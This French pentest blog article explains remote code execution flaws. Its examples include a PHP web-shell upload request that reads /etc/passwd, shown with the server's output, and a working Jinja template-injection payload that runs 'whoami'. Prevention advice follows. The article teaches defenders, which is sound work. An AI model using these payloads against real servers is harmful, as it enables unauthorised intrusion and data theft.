Exploiter une vulnérabilité RCE pour un pentester, c’est un peu le graal. En fonction du contexte, il existe de nombreuses techniques pour exécuter du code à distance et donc exploiter une RCE.
Au-delà du principe de ce type de vulnérabilité, nous vous présentons dans cet article des exemples d’attaques et d’exploitations de RCE ainsi que les bonnes pratiques et mesures à implémenter pour se protéger.
Qu’est-ce qu’une faille RCE (Remote Code Execution) ?
Une RCE (Remote Code Execution) ou exécution de code à distance est une vulnérabilité qui permet à un attaquant d’exécuter du code arbitraire sur une machine cible. Comme son nom l’indique, cette attaque est effectuée à distance sans accès physique à la machine ciblée.
Quels sont les impacts d’une RCE ?
L’impact d’une attaque RCE va dépendre de l’environnement lié à la machine compromise ainsi que des intentions de l’attaquant.
Souvent, la RCE constitue le point d’entrée et conduit à d’autres attaques. Cela peut aller de la simple fuite d’informations à la prise de contrôle totale d’une machine. Voici une liste d’exemples concrets liés à l’exploitation d’une RCE :
- Vol de données sensibles : il peut s’agir du code source d’une application, de la base de données, de documents, etc.
- Élévation de privilèges : suite à l’obtention d’un accès via une RCE, l’attaquant peut ensuite essayer d’élever ses privilèges sur le système pour augmenter son impact et avoir plus d’accès.
- Compromission du réseau interne : si la machine affectée par la RCE est liée au réseau interne de l’entreprise, l’attaquant peut l’utiliser comme point d’entrée pour se propager sur le réseau.
- Mise en place d’une backdoor : l’attaquant ayant compromis la machine via une RCE peut créer une backdoor afin de se reconnecter simplement à la machine sans avoir à réexploiter la vulnérabilité. On parle alors de persistance. Cela peut par exemple être utile pour incorporer la machine compromise à un botnet.
- Déni de service (DoS) : l’attaquant peut supprimer toutes les données auxquelles il a eu accès via la RCE ou perturber le fonctionnement de l’application de façon plus discrète.
- Ransomware : suite à la compromission d’une machine cible, l’attaquant peut bloquer l’accès à une machine et son contenu et exiger une rançon aux utilisateurs légitimes.
Compte tenu de l’impact potentiel, ce type de vulnérabilité est quasi systématiquement considéré comme critique.
Quelles en sont les causes ?
Le terme RCE regroupe tous les types de vulnérabilités existantes conduisant à une exécution de code. Les causes peuvent donc être multiples.
Nous pouvons par exemple relever les cas suivants :
- Un malware : une personne est victime d’une attaque de type social engineering et installe un malware sur une machine à son insu.
- Exploitation d’une CVE : un attaquant exploite une vulnérabilité connue sur des systèmes qui ne sont pas à jour.
- Fonctions permettant d’évaluer du code : des données contrôlables par l’utilisateur sont directement passées à une fonction permettant d’évaluer du code comme par exemple « eval » en PHP.
- Désérialisation : une mauvaise désérialisation peut conduire à une exécution de code.
- Buffer overflow : lorsqu’un attaquant est en mesure d’écrire à l’extérieure de la mémoire allouée pour son programme, il peut souvent exécuter du code arbitraire.
- Dépôt de fichiers non sécurisés : une mauvaise gestion des fichiers transmis par les utilisateurs peut conduire à une exécution de code arbitraire sur un serveur web.
- Server Side Template Injection (SSTI) : une injection de template côté serveur conduit souvent à l’exécution de code arbitraire.
Dans la suite de cet article, nous nous concentrerons sur des RCE liées à des vulnérabilités web.
Comment identifier une RCE ?
Vous l’aurez compris, en fonction du type de vulnérabilité permettant une exécution de code, les méthodes de détection ne sont pas les mêmes.
Pour l’exploitation d’une CVE, il suffit à l’attaquant de détecter la version des composants utilisés par le serveur et de regarder si une vulnérabilité de type RCE lui est associée. Dans ce cas, la détection et l’exploitation peuvent souvent se faire de façon automatisée.
En revanche, lorsqu’il s’agit de vulnérabilités spécifiques à la plateforme, il n’y a pas de méthode prédéfinie. L’idée consiste à analyser les fonctionnalités accessibles et chercher à les utiliser de façon inattendue. Par ailleurs, sur des applications web, certaines fonctionnalités sont plus souvent associées à des RCE que d’autres, notamment :
- Les fonctionnalités permettant de déposer des fichiers.
- Celles permettant de définir un modèle de données (par exemple le template d’un email.
- Des fonctionnalités permettant d’évaluer du code ou de lancer des commandes sur le système.
Il est cependant important de ne pas s’arrêter à cette liste, car cela dépend de votre application. Si vous avez accès au code source de la solution, vous pouvez par exemple chercher les occurrences de fonctions connues pour être vulnérables si elles sont utilisées avec des données contrôlables par l’utilisateur (la fonction « eval » en PHP par exemple).
Passons maintenant à la pratique avec quelques exemples concrets.
Exemples d’exploitations de failles RCE sur des applications web
Upload de fichiers arbitraires
Un cas classique de RCE est celui lié au dépôt de fichiers arbitraires. Cependant il a tendance à se raréfier avec l’utilisation de buckets sur le cloud pour le stockage de fichiers.
Dans ce scénario, une application web en PHP propose à l’utilisateur une fonctionnalité permettant d’uploader des images. Ces images sont stockées dans un dossier « /uploads/images/ » à la racine du serveur web. Les fichiers ne sont pas vérifiés ni renommés. Les droits d’exécution sont laissés sur le dossier contenant les fichiers.
Requête HTTP :
POST /upload HTTP/1.1
Host: test.vaadata.com
Content-Type: multipart/form-data; boundary=---------------------------23970119286181897661102571495
Content-Length: 262
-----------------------------23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php
system("cat /etc/passwd");
?>
-----------------------------23970119286181897661102571495—
Réponse :
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
[REDACTED]
Image path <a href=’./uploads/images’>rce.php</a>
[REDACTED]
Le code envoyé dans la requête ci-dessus permet d’exécuter la commande « cat /etc/password » sur le système si le code PHP est interprété.
Dans la réponse du serveur, nous pouvons voir le chemin où a été uploadé le fichier. Le fait que la réponse soit un « 200 OK » montre qu’il n’y a aucune vérification sur le type de fichier qui est transmis.
Si nous nous rendons sur le fichier « rce.php », le code PHP est interprété et nous pouvons lire le contenu du fichier « /etc/passwd » :
GET /upload/images/rce.php HTTP/1.1
Host: test.vaadata.com
Réponse :
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[REDACTED]
La vulnérabilité réside dans le fait que le serveur ne vérifie pas le type de fichier transmis. Un attaquant peut uploader un fichier PHP contenant du code malveillant. Le dossier « /upload/images » contenant les fichiers ayant les droits d’exécution et étant directement accessible depuis le navigateur, les fichiers PHP qu’il contient sont automatiquement interprétés par le serveur lorsqu’un utilisateur y accède. L’attaquant peut donc envoyer n’importe quel code PHP. La RCE est avérée.
L’étape suivante pour un attaquant consiste généralement à créer un reverse shell, à savoir rediriger l’entrée et la sortie d’un shell de la machine cible vers la machine de l’attaquant pour effectuer des commandes systèmes à distance. Puis l’attaquant va se propager sur le système ciblé et les potentielles machines adjacentes.
Une vulnérabilité RCE dans un nom de fichier
Le cas décrit dans la vulnérabilité qui suit est une RCE découverte durant en pentest en boîte blanche. Il s’agit d’une RCE liée à un traitement effectué par le serveur lorsqu’un fichier de type audio ou vidéo est uploadé.
Nous avons écrit un write-up détaillé sur cette exploitation, que vous pouvez consulter via le lien ci-dessous :
Une vulnérabilité RCE dans un nom de fichier
Server-Side Template Injection (SSTI)
Lors d’un audit, nous avons testé une application proposant aux collaborateurs de personnaliser des emails envoyés aux clients.
Cette application utilisait un moteur de template pour dissocier la présentation visuelle (HTML, CSS, etc.) de la logique applicative (PHP, Python, etc.). Ces moteurs permettent de créer des fichiers modèles (des templates) dans l’application.
Les templates sont un mélange de données fixes (mise en page) et de données dynamiques (variables). En l’occurrence, l’application utilisait le moteur de template Jinja et la fonctionnalité de personnalisation des emails utilisait ces templates. Cependant, les données utilisateurs n’étaient pas correctement traitées, permettant aux auditeurs d’injecter des directives arbitraires pour manipuler le moteur de template au sein des emails personnalisés.
Lors de la personnalisation d’un email, l’application affichait le rendu de l’email une fois personnalisé, permettant de récupérer les résultats de la commande exécutée sur le système sous-jacent, suite à l’injection.
La requête suivante permettait d’injecter une charge spécifiquement conçue pour exécuter une commande sur le serveur lors que le moteur de template de l’application interprète l’email personnalisé pour afficher le rendu à l’utilisateur :
Requête HTTP :
POST /emails HTTP/1.1
Host: ssti.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close
email_to=pentest%40vaadata.com&content=Bonjour+{{customer.name}}+{%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen("whoami").read()}}{%25endif%25}{%25+endfor+%25}&action=preview
La directive envoyée dans la requête ci-dessus permet d’exécuter la commande « whoami » sur le système si le moteur de template interprète le code. Dans la réponse du serveur ci-dessous, nous pouvons voir que la directive a bien été interprétée par le moteur de template et que la commande « whoami » a retourné la valeur « www-data ».
Réponse :
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4043
Server: Werkzeug
Date: Fri, 18 Aug 2023 07:47:02 GMT
[REDACTED]
<div>
Bonjour Pentester www-data
[REDACTED]
Ici, la vulnérabilité vient du fait que les données utilisateurs sont interprétées directement par le moteur de template (en tant que données dynamiques), au lieu d’être intégrées en tant que données fixes.
Ainsi, un attaquant peut exécuter des commandes arbitraires sur le serveur sous-jacent afin de le compromettre. Par la suite, l’attaquant peut tenter de compromettre la base de données de l’application, récupérer le code source de cette dernière et mener des attaques contre le système informatique interne de l’entreprise.
Comment prévenir les failles de type RCE ?
Les RCE couvrent un large spectre de vulnérabilités différentes. Il est donc complexe de donner des recommandations techniques précises.
Néanmoins, voici quelques principes pour se protéger :
- Toujours mettre à jour et maintenir à jour dans le temps les composants (frameworks, services, serveurs, etc.) que vous utilisez. Il s’agit d’un des principes fondamentaux de la sécurité informatique. Il permet d’éviter l’exploitation de vulnérabilités connues (CVE). Les fournisseurs de solutions font régulièrement des mises à jour de sécurité lorsque des vulnérabilités sont identifiées. La plupart du temps, maintenir tous vos composants à jour avec une version stable permettra de toujours avoir la version la plus sécurisée.
- Un autre grand principe de la sécurité consiste à ne jamais faire confiance aux données provenant des utilisateurs. Pour le web, cela inclut toutes les données contenues dans les requêtes HTTP reçues par le serveur. Lorsque des données transmises par le client doivent être réutilisées dans le code, il faut absolument penser à les valider et les nettoyer. D’autant plus quand ces données sont passées à une fonction permettant d’évaluer du code.
- Sécuriser les fonctionnalités d’upload de fichiers en autorisant seulement l’upload de certains types de fichiers. Pensez également à renommer les fichiers avec un nom généré aléatoirement et à les stocker en dehors de la racine du serveur web (voir sur un serveur dédié). Pour plus de détails, l’OWASP fourni des exemples concrets.
- Sensibiliser vos équipes au risque d’attaques de phishing.
- Mettre en place des contrôles d’accès au sein du réseau peut limiter la propagation d’un attaquant ayant exploité une RCE. Cela passe notamment par la segmentation du réseau et la mise en place de pare-feu interne.
- Appliquer le principe de moindre privilège. Les applications doivent avoir le moins de privilèges possible afin de complexifier la tâche d’un attaquant, ayant compromis l’application, souhaitant élever ses privilèges sur le serveur ou de se déplacer latéralement sur le réseau interne.
- La mise en place d’un pare-feu application (WAF) sur l’application web peut aussi permettre de limiter l’exploitation de certaines vulnérabilités et donc potentiellement empêcher une RCE, du moins complexifier l’exploitation de ces vulnérabilités.
- Faire des sauvegardes régulièrement et les stocker dans un environnement protégé.
- Mettre en place un système de logging et monitoring des données sur votre réseau dans le but de détecter de potentielles attaques et, en cas de compromissions, pouvoir remonter jusqu’au point d’entrée de l’attaquant pour pouvoir corriger la faille.
- Effectuer un suivi régulier en termes de sécurité sur tous les serveurs exposés de votre organisation.
Auteur : Yoan MONTOYA – Pentester @Vaadata